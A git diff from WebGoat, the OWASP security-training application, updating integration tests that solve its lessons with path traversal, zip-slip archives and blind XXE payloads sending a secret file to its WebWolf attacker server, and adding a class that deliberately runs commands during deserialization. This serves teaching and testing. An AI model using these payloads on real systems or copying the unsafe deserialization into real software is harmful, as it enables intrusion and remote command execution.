getWebGoatCookie()) + //.log().headers() + .get(url("service/labels.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + } + + private List getHints() { + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/hint.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + return jsonPath.getList("hint"); + } + +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PasswordResetLessonTest.java b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java similarity index 87% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/PasswordResetLessonTest.java rename to src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java index 566de787f..6e030d039 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PasswordResetLessonTest.java +++ b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java @@ -15,7 +15,7 @@ import static org.junit.jupiter.api.DynamicTest.dynamicTest; import java.util.Arrays; import java.util.Map; -public class PasswordResetLessonTest extends IntegrationTest { +public class PasswordResetLessonIntegrationTest extends IntegrationTest { @BeforeEach @SneakyThrows @@ -24,9 +24,9 @@ public class PasswordResetLessonTest extends IntegrationTest { } @TestFactory - Iterable testPathTraversal() { + Iterable passwordResetLesson() { return Arrays.asList( - dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailabeInWebWolf()), + dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()), dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()), dynamicTest("assignment 2 - simple reset",()-> assignment2()), dynamicTest("assignment 4 - guess questions",()-> assignment4()), @@ -34,18 +34,15 @@ public class PasswordResetLessonTest extends IntegrationTest { ); } public void assignment2() { - - checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", getWebgoatUser()+"@webgoat.org"), false); - checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", getWebgoatUser()+"@webgoat.org", "password", StringUtils.reverse(getWebgoatUser())), true); + checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); + checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); } public void assignment4() { - checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); } public void assignment5() { - checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); } @@ -63,9 +60,8 @@ public class PasswordResetLessonTest extends IntegrationTest { checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); } - public void sendEmailShouldBeAvailabeInWebWolf() { - - clickForgotEmailLink(getWebgoatUser() + "@webgoat.org"); + public void sendEmailShouldBeAvailableInWebWolf() { + clickForgotEmailLink(this.getUser() + "@webgoat.org"); var responseBody = RestAssured.given() .when() @@ -100,7 +96,7 @@ public class PasswordResetLessonTest extends IntegrationTest { .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) - .get(webWolfUrl("WebWolf/requests")) + .get(webWolfUrl("/WebWolf/requests")) .then() .extract().response().getBody().asString(); int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); @@ -111,7 +107,7 @@ public class PasswordResetLessonTest extends IntegrationTest { private void clickForgotEmailLink(String user) { RestAssured.given() .when() - .header("host", getWebWolfHostHeader()) + .header("host", String.format("%s:%s", "localhost", getWebWolfPort())) .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams("email", user) diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java similarity index 78% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java rename to src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java index d32ce336e..3eb53ee8e 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java +++ b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java @@ -24,9 +24,8 @@ import java.util.zip.ZipOutputStream; import static org.junit.jupiter.api.DynamicTest.dynamicTest; -public class PathTraversalTest extends IntegrationTest { +class PathTraversalIT extends IntegrationTest { - //the JUnit5 way @TempDir Path tempDir; @@ -35,8 +34,7 @@ public class PathTraversalTest extends IntegrationTest { @BeforeEach @SneakyThrows public void init() { - fileToUpload = Files.createFile( - tempDir.resolve("test.jpg")).toFile(); + fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile(); Files.write(fileToUpload.toPath(), "This is a test".getBytes()); startLesson("PathTraversal"); } @@ -52,7 +50,7 @@ public class PathTraversalTest extends IntegrationTest { ); } - public void assignment1() throws IOException { + private void assignment1() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() @@ -60,13 +58,13 @@ public class PathTraversalTest extends IntegrationTest { .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .param("fullName", "../John Doe") - .post("/WebGoat/PathTraversal/profile-upload") + .post(url("/WebGoat/PathTraversal/profile-upload")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment2() throws IOException { + private void assignment2() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() @@ -74,47 +72,48 @@ public class PathTraversalTest extends IntegrationTest { .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .param("fullNameFix", "..././John Doe") - .post("/WebGoat/PathTraversal/profile-upload-fix") + .post(url("/WebGoat/PathTraversal/profile-upload-fix")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment3() throws IOException { + private void assignment3() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) - .post("/WebGoat/PathTraversal/profile-upload-remove-user-input") + .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment4() throws IOException { + private void assignment4() throws IOException { var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; RestAssured.given().urlEncodingEnabled(false) .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) - .get(uri) + .get(url(uri)) .then() .statusCode(200) - .content(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); + .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); - checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true); + checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", + Sha512DigestUtils.shaHex(this.getUser())), true); } - public void assignment5() throws IOException { - var webGoatHome = System.getProperty("user.dir") + "/target/.webgoat/PathTraversal/" + getWebgoatUser(); + private void assignment5() throws IOException { + var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows var webGoatDirectory = new File(webGoatHome); - var zipFile = new File(webGoatDirectory, "upload.zip"); + var zipFile = new File(tempDir.toFile(), "upload.zip"); try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { - ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg"); + ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg"); zos.putNextEntry(e); zos.write("test".getBytes(StandardCharsets.UTF_8)); } @@ -124,15 +123,14 @@ public class PathTraversalTest extends IntegrationTest { .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) - .post("/WebGoat/PathTraversal/zip-slip") + .post(url("/WebGoat/PathTraversal/zip-slip")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); - } @AfterEach - public void shutdown() { + void shutdown() { //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete checkResults("/PathTraversal"); } diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/ProgressRaceConditionTest.java b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java similarity index 93% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/ProgressRaceConditionTest.java rename to src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java index 518db8f3e..8b8b870ea 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/ProgressRaceConditionTest.java +++ b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java @@ -2,7 +2,6 @@ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.response.Response; -import lombok.extern.log4j.Log4j; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; @@ -16,7 +15,7 @@ import java.util.concurrent.Executors; import java.util.stream.Collectors; import java.util.stream.IntStream; -public class ProgressRaceConditionTest extends IntegrationTest { +public class ProgressRaceConditionIntegrationTest extends IntegrationTest { @Test public void runTests() throws InterruptedException { @@ -32,9 +31,9 @@ public class ProgressRaceConditionTest extends IntegrationTest { .cookie("JSESSIONID", getWebGoatCookie()) .formParams(Map.of("flag", "test")) .post(url("/challenge/flag/")); - + }; - ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); + ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); List> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); var responses = executorService.invokeAll(flagCalls); diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SSRFTest.java b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java similarity index 91% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/SSRFTest.java rename to src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java index 05efaab84..e59499108 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SSRFTest.java +++ b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java @@ -6,7 +6,7 @@ import java.util.Map; import org.junit.jupiter.api.Test; -public class SSRFTest extends IntegrationTest { +public class SSRFIntegrationTest extends IntegrationTest { @Test public void runTests() throws IOException { diff --git a/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java new file mode 100644 index 000000000..ad641212b --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat; + +import java.util.Map; + +import org.junit.jupiter.api.Test; + +/** + * + * @author Angel Olle Blazquez + * + */ + +class SessionManagementIT extends IntegrationTest { + + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; + + + @Test + void hijackSessionTest() { + startLesson("HijackSession"); + + checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); + } +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionAdvancedTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java similarity index 96% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionAdvancedTest.java rename to src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java index 051b89aab..6ae9f838b 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionAdvancedTest.java +++ b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java @@ -5,7 +5,7 @@ import java.util.Map; import org.junit.jupiter.api.Test; -public class SqlInjectionAdvancedTest extends IntegrationTest { +public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { @Test public void runTests() { diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionLessonTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java similarity index 97% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionLessonTest.java rename to src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java index 3aa3cac8b..6c8c446af 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionLessonTest.java +++ b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java @@ -5,7 +5,7 @@ import java.util.Map; import org.junit.jupiter.api.Test; -public class SqlInjectionLessonTest extends IntegrationTest { +public class SqlInjectionLessonIntegrationTest extends IntegrationTest { public static final String sql_2 = "select department from employees where last_name='Franco'"; public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java similarity index 94% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java rename to src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java index 8bc13f64b..6d9394674 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java +++ b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java @@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.containsString; -public class SqlInjectionMitigationTest extends IntegrationTest { +public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { @Test public void runTests() { @@ -59,7 +59,7 @@ public class SqlInjectionMitigationTest extends IntegrationTest { .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) .then() .statusCode(500) - .body("trace", containsString("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by")); + .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); params.clear(); params.put("ip", "104.130.219.202"); diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/WebWolfTest.java b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java similarity index 93% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/WebWolfTest.java rename to src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java index 6ffbf736a..041f5157f 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/WebWolfTest.java +++ b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java @@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test; import io.restassured.RestAssured; -public class WebWolfTest extends IntegrationTest { +public class WebWolfIntegrationTest extends IntegrationTest { @Test public void runTests() throws IOException { @@ -19,7 +19,7 @@ public class WebWolfTest extends IntegrationTest { //Assignment 3 Map params = new HashMap<>(); params.clear(); - params.put("email", getWebgoatUser()+"@webgoat.org"); + params.put("email", this.getUser()+"@webgoat.org"); checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); String responseBody = RestAssured.given() @@ -31,7 +31,7 @@ public class WebWolfTest extends IntegrationTest { .extract().response().getBody().asString(); String uniqueCode = responseBody.replace("%20", " "); - uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+getWebgoatUser().length())); + uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); params.clear(); params.put("uniqueCode", uniqueCode); checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java similarity index 96% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java rename to src/it/java/org/owasp/webgoat/XSSIntegrationTest.java index 8d01547d9..adae15d2c 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XSSTest.java +++ b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java @@ -7,7 +7,7 @@ import java.util.Map; import org.junit.jupiter.api.Test; -public class XSSTest extends IntegrationTest { +public class XSSIntegrationTest extends IntegrationTest { @Test @@ -16,7 +16,7 @@ public class XSSTest extends IntegrationTest { Map params = new HashMap<>(); params.clear(); - params.put("answer_xss_1", "yes"); + params.put("checkboxAttack1", "value"); checkAssignment(url("/CrossSiteScripting/attack1"), params, true); params.clear(); diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java similarity index 53% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java rename to src/it/java/org/owasp/webgoat/XXEIntegrationTest.java index f06481591..e7c2a5497 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java +++ b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java @@ -1,35 +1,27 @@ package org.owasp.webgoat; +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.junit.jupiter.api.Test; + import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; -import org.junit.jupiter.api.Test; +public class XXEIntegrationTest extends IntegrationTest { -import io.restassured.RestAssured; -import io.restassured.http.ContentType; - -public class XXETest extends IntegrationTest { - - private static final String xxe3 = "]>&xxe;test"; - private static final String xxe4 = "]>&xxe;test"; - private static final String dtd7 = "\">%all;"; - private static final String xxe7 = "%remote;]>test&send;"; + private static final String xxe3 = """ + ]>&xxe;test"""; + private static final String xxe4 = """ + ]>&xxe;test"""; + private static final String dtd7 = """ + ">%all;"""; + private static final String xxe7 = """ + %remote;]>test&send;"""; private String webGoatHomeDirectory; - private String webwolfFileDir; - - @Test - public void runTests() throws IOException { - startLesson("XXE"); - webGoatHomeDirectory = getWebGoatServerPath(); - webwolfFileDir = getWebWolfServerPath(); - checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); - checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); - checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", true); - checkResults("xxe/"); - } + private String webWolfFileServerLocation; /* * This test is to verify that all is secure when XXE security patch is applied. @@ -37,15 +29,20 @@ public class XXETest extends IntegrationTest { @Test public void xxeSecure() throws IOException { startLesson("XXE"); - webGoatHomeDirectory = getWebGoatServerPath(); - webwolfFileDir = getWebWolfServerPath(); - RestAssured.given().when().relaxedHTTPSValidation() - .cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity")); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/enable-security.mvc")) + .then() + .statusCode(200); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", false); } - + /** * This performs the steps of the exercise before the secret can be committed in the final step. * @@ -54,11 +51,11 @@ public class XXETest extends IntegrationTest { */ private String getSecret() throws IOException { //remove any left over DTD - Path webWolfFilePath = Paths.get(webwolfFileDir); - if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) { - Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd"))); + Path webWolfFilePath = Paths.get(webWolfFileServerLocation); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); } - String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt"); + String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); //upload DTD @@ -67,12 +64,12 @@ public class XXETest extends IntegrationTest { .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .multiPart("file", "blind.dtd", dtd7String.getBytes()) - .post(webWolfUrl("/WebWolf/fileupload")) + .post(webWolfUrl("/fileupload")) .then() .extract().response().getBody().asString(); //upload attack - String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser()); - checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false); + String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); //read results from WebWolf String result = RestAssured.given() @@ -84,8 +81,19 @@ public class XXETest extends IntegrationTest { .extract().response().getBody().asString(); result = result.replace("%20", " "); if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { - result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); + result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); } return result; } + + @Test + public void runTests() throws IOException { + startLesson("XXE", true); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); + checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", true); + checkResults("xxe/"); + } } diff --git a/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java new file mode 100644 index 000000000..98c37a64e --- /dev/null +++ b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java @@ -0,0 +1,76 @@ +package org.dummy.insecure.framework; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +// TODO move back to lesson +public class VulnerableTaskHolder implements Serializable { + + private static final long serialVersionUID = 2; + + private String taskName; + private String taskAction; + private LocalDateTime requestedExecutionTime; + + public VulnerableTaskHolder(String taskName, String taskAction) { + super(); + this.taskName = taskName; + this.taskAction = taskAction; + this.requestedExecutionTime = LocalDateTime.now(); + } + + @Override + public String toString() { + return "VulnerableTaskHolder [taskName=" + + taskName + + ", taskAction=" + + taskAction + + ", requestedExecutionTime=" + + requestedExecutionTime + + "]"; + } + + /** + * Execute a task when de-serializing a saved or received object. + * + * @author stupid develop + */ + private void readObject(ObjectInputStream stream) throws Exception { + // unserialize data so taskName and taskAction are available + stream.defaultReadObject(); + + // do something with the data + log.info("restoring task: {}", taskName); + log.info("restoring time: {}", requestedExecutionTime); + + if (requestedExecutionTime != null + && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) + || requestedExecutionTime.isAfter(LocalDateTime.now()))) { + // do nothing is the time is not within 10 minutes after the object has been created + log.debug(this.toString()); + throw new IllegalArgumentException("outdated"); + } + + // condition is here to prevent you from destroying the goat altogether + if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) + && taskAction.length() < 22) { + log.info("about to execute: {}", taskAction); + try { + Process p = Runtime.getRuntime().exec(taskAction); + BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line = null; + while ((line = in.readLine()) != null) { + log.info(line); + } + } catch (IOException e) { + log.error("IO Exception", e); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java new file mode 100644 index 000000000..1ed96e146 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java @@ -0,0 +1,59 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; + +/** + * AjaxAuthenticationEntryPoint class. + * + * @author zupzup + */ +public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { + public AjaxAuthenticationEntryPoint(String loginFormUrl) { + super(loginFormUrl); + } + + @Override + public void commence( + HttpServletRequest request, + HttpServletResponse response, + AuthenticationException authException) + throws IOException, ServletException { + if (request.getHeader("x-requested-with") != null) { + response.sendError(401, authException.getMessage()); + } else { + super.commence(request, response, authException); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java new file mode 100644 index 000000000..723e8cb7c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java @@ -0,0 +1,172 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import static org.asciidoctor.Asciidoctor.Factory.create; + +import io.undertow.util.Headers; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Locale; +import java.util.Map; +import java.util.Set; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.asciidoctor.Asciidoctor; +import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.container.asciidoc.*; +import org.owasp.webgoat.container.i18n.Language; +import org.springframework.core.io.ResourceLoader; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file: + * + *

+ *

